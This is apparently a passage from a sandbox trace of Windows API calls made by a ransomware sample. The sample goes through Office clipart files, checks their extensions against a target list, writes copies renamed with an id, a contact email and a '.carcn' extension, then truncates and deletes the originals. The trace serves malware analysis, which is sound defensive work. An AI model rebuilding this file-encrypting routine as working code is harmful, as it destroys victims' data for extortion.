(lpString1=".docx", lpString2="_.WMF") returned -1 [0298.985] lstrlenW (lpString=".pdf") returned 4 [0298.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.986] lstrlenW (lpString=".xls") returned 4 [0298.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.986] lstrlenW (lpString=".xlsx") returned 5 [0298.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.986] lstrlenW (lpString=".ppt") returned 4 [0298.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.986] lstrlenW (lpString=".zip") returned 4 [0298.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.986] lstrlenW (lpString=".rar") returned 4 [0298.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.986] lstrlenW (lpString=".bz2") returned 4 [0298.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.986] lstrlenW (lpString=".7z") returned 3 [0298.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.986] lstrlenW (lpString=".dbf") returned 4 [0298.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.986] lstrlenW (lpString=".1cd") returned 4 [0298.986] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0298.986] lstrlenW (lpString=".jpg") returned 4 [0298.986] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.987] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.987] lstrlenW (lpString="BS00444_.WMF") returned 12 [0298.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.987] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3896) returned 1 [0298.987] CloseHandle (hObject=0x380) returned 1 [0298.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220 [0298.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.988] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.988] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0298.988] GetLastError () returned 0x0 [0298.989] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xf38, lpOverlapped=0x0) returned 1 [0298.990] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xf40, lpOverlapped=0x0) returned 1 [0298.991] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0298.991] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0298.991] SetEndOfFile (hFile=0x36c) returned 1 [0298.991] CloseHandle (hObject=0x36c) returned 1 [0298.991] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.991] SetEndOfFile (hFile=0x380) returned 1 [0298.992] CloseHandle (hObject=0x380) returned 1 [0298.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1 [0298.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.993] lstrlenW (lpString=".doc") returned 4 [0298.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.993] lstrlenW (lpString=".docx") returned 5 [0298.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.993] lstrlenW (lpString=".pdf") returned 4 [0298.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.993] lstrlenW (lpString=".xls") returned 4 [0298.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.994] lstrlenW (lpString=".xlsx") returned 5 [0298.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.994] lstrlenW (lpString=".ppt") returned 4 [0298.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.994] lstrlenW (lpString=".zip") returned 4 [0298.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.994] lstrlenW (lpString=".rar") returned 4 [0298.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.994] lstrlenW (lpString=".bz2") returned 4 [0298.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.994] lstrlenW (lpString=".7z") returned 3 [0298.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.994] lstrlenW (lpString=".dbf") returned 4 [0298.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.994] lstrlenW (lpString=".1cd") returned 4 [0298.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.994] lstrlenW (lpString=".jpg") returned 4 [0298.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.994] lstrlenW (lpString=".doc") returned 4 [0298.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.994] lstrlenW (lpString=".docx") returned 5 [0298.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.995] lstrlenW (lpString=".pdf") returned 4 [0298.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.995] lstrlenW (lpString=".xls") returned 4 [0298.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.995] lstrlenW (lpString=".xlsx") returned 5 [0298.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.995] lstrlenW (lpString=".ppt") returned 4 [0298.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.995] lstrlenW (lpString=".zip") returned 4 [0298.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.995] lstrlenW (lpString=".rar") returned 4 [0298.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.995] lstrlenW (lpString=".bz2") returned 4 [0298.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.995] lstrlenW (lpString=".7z") returned 3 [0298.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.995] lstrlenW (lpString=".dbf") returned 4 [0298.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.995] lstrlenW (lpString=".1cd") returned 4 [0298.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68 [0298.995] lstrlenW (lpString=".jpg") returned 4 [0298.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.996] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.996] lstrlenW (lpString="BS00445_.WMF") returned 12 [0298.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.996] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3796) returned 1 [0298.996] CloseHandle (hObject=0x380) returned 1 [0298.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220 [0298.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0298.997] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.997] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0298.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0298.997] GetLastError () returned 0x0 [0298.997] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xed4, lpOverlapped=0x0) returned 1 [0298.998] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xee0, lpOverlapped=0x0) returned 1 [0299.000] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.000] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.000] SetEndOfFile (hFile=0x36c) returned 1 [0299.000] CloseHandle (hObject=0x36c) returned 1 [0299.000] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.000] SetEndOfFile (hFile=0x380) returned 1 [0299.001] CloseHandle (hObject=0x380) returned 1 [0299.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0299.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.002] lstrlenW (lpString=".doc") returned 4 [0299.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.002] lstrlenW (lpString=".docx") returned 5 [0299.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.002] lstrlenW (lpString=".pdf") returned 4 [0299.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.002] lstrlenW (lpString=".xls") returned 4 [0299.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.002] lstrlenW (lpString=".xlsx") returned 5 [0299.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.002] lstrlenW (lpString=".ppt") returned 4 [0299.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.002] lstrlenW (lpString=".zip") returned 4 [0299.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.002] lstrlenW (lpString=".rar") returned 4 [0299.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.002] lstrlenW (lpString=".bz2") returned 4 [0299.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.002] lstrlenW (lpString=".7z") returned 3 [0299.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.003] lstrlenW (lpString=".dbf") returned 4 [0299.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.003] lstrlenW (lpString=".1cd") returned 4 [0299.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.003] lstrlenW (lpString=".jpg") returned 4 [0299.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.003] lstrlenW (lpString=".doc") returned 4 [0299.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.003] lstrlenW (lpString=".docx") returned 5 [0299.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.003] lstrlenW (lpString=".pdf") returned 4 [0299.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.003] lstrlenW (lpString=".xls") returned 4 [0299.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.003] lstrlenW (lpString=".xlsx") returned 5 [0299.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.003] lstrlenW (lpString=".ppt") returned 4 [0299.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.003] lstrlenW (lpString=".zip") returned 4 [0299.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.003] lstrlenW (lpString=".rar") returned 4 [0299.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.004] lstrlenW (lpString=".bz2") returned 4 [0299.004] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.004] lstrlenW (lpString=".7z") returned 3 [0299.004] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.004] lstrlenW (lpString=".dbf") returned 4 [0299.004] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.004] lstrlenW (lpString=".1cd") returned 4 [0299.004] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68 [0299.004] lstrlenW (lpString=".jpg") returned 4 [0299.004] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.004] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0299.004] lstrlenW (lpString="BS00453_.WMF") returned 12 [0299.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.004] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=2436) returned 1 [0299.004] CloseHandle (hObject=0x380) returned 1 [0299.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0299.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0299.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0299.005] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.005] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0299.006] GetLastError () returned 0x0 [0299.006] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x984, lpOverlapped=0x0) returned 1 [0299.437] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x990, lpOverlapped=0x0) returned 1 [0299.565] ReadFile (in: hFile=0x380, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0299.565] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0299.566] SetEndOfFile (hFile=0x36c) returned 1 [0299.566] CloseHandle (hObject=0x36c) returned 1 [0299.566] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0299.566] SetEndOfFile (hFile=0x380) returned 1 [0299.567] CloseHandle (hObject=0x380) returned 1 [0299.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0299.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0299.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.568] lstrlenW (lpString=".doc") returned 4 [0299.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString=".docx") returned 5 [0299.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.568] lstrlenW (lpString=".pdf") returned 4 [0299.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString=".xls") returned 4 [0299.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.568] lstrlenW (lpString=".xlsx") returned 5 [0299.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.568] lstrlenW (lpString=".ppt") returned 4 [0299.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.568] lstrlenW (lpString=".zip") returned 4 [0299.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.568] lstrlenW (lpString=".rar") returned 4 [0299.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString=".bz2") returned 4 [0299.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString=".7z") returned 3 [0299.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.568] lstrlenW (lpString=".dbf") returned 4 [0299.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.568] lstrlenW (lpString=".1cd") returned 4 [0299.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.569] lstrlenW (lpString=".jpg") returned 4 [0299.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0299.569] lstrlenW (lpString=".doc") returned 4 [0299.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString=".docx") returned 5 [0299.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.569] lstrlenW (lpString=".pdf") returned 4 [0299.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString=".xls") returned 4 [0299.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.569] lstrlenW (lpString=".xlsx") returned 5 [0299.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.569] lstrlenW 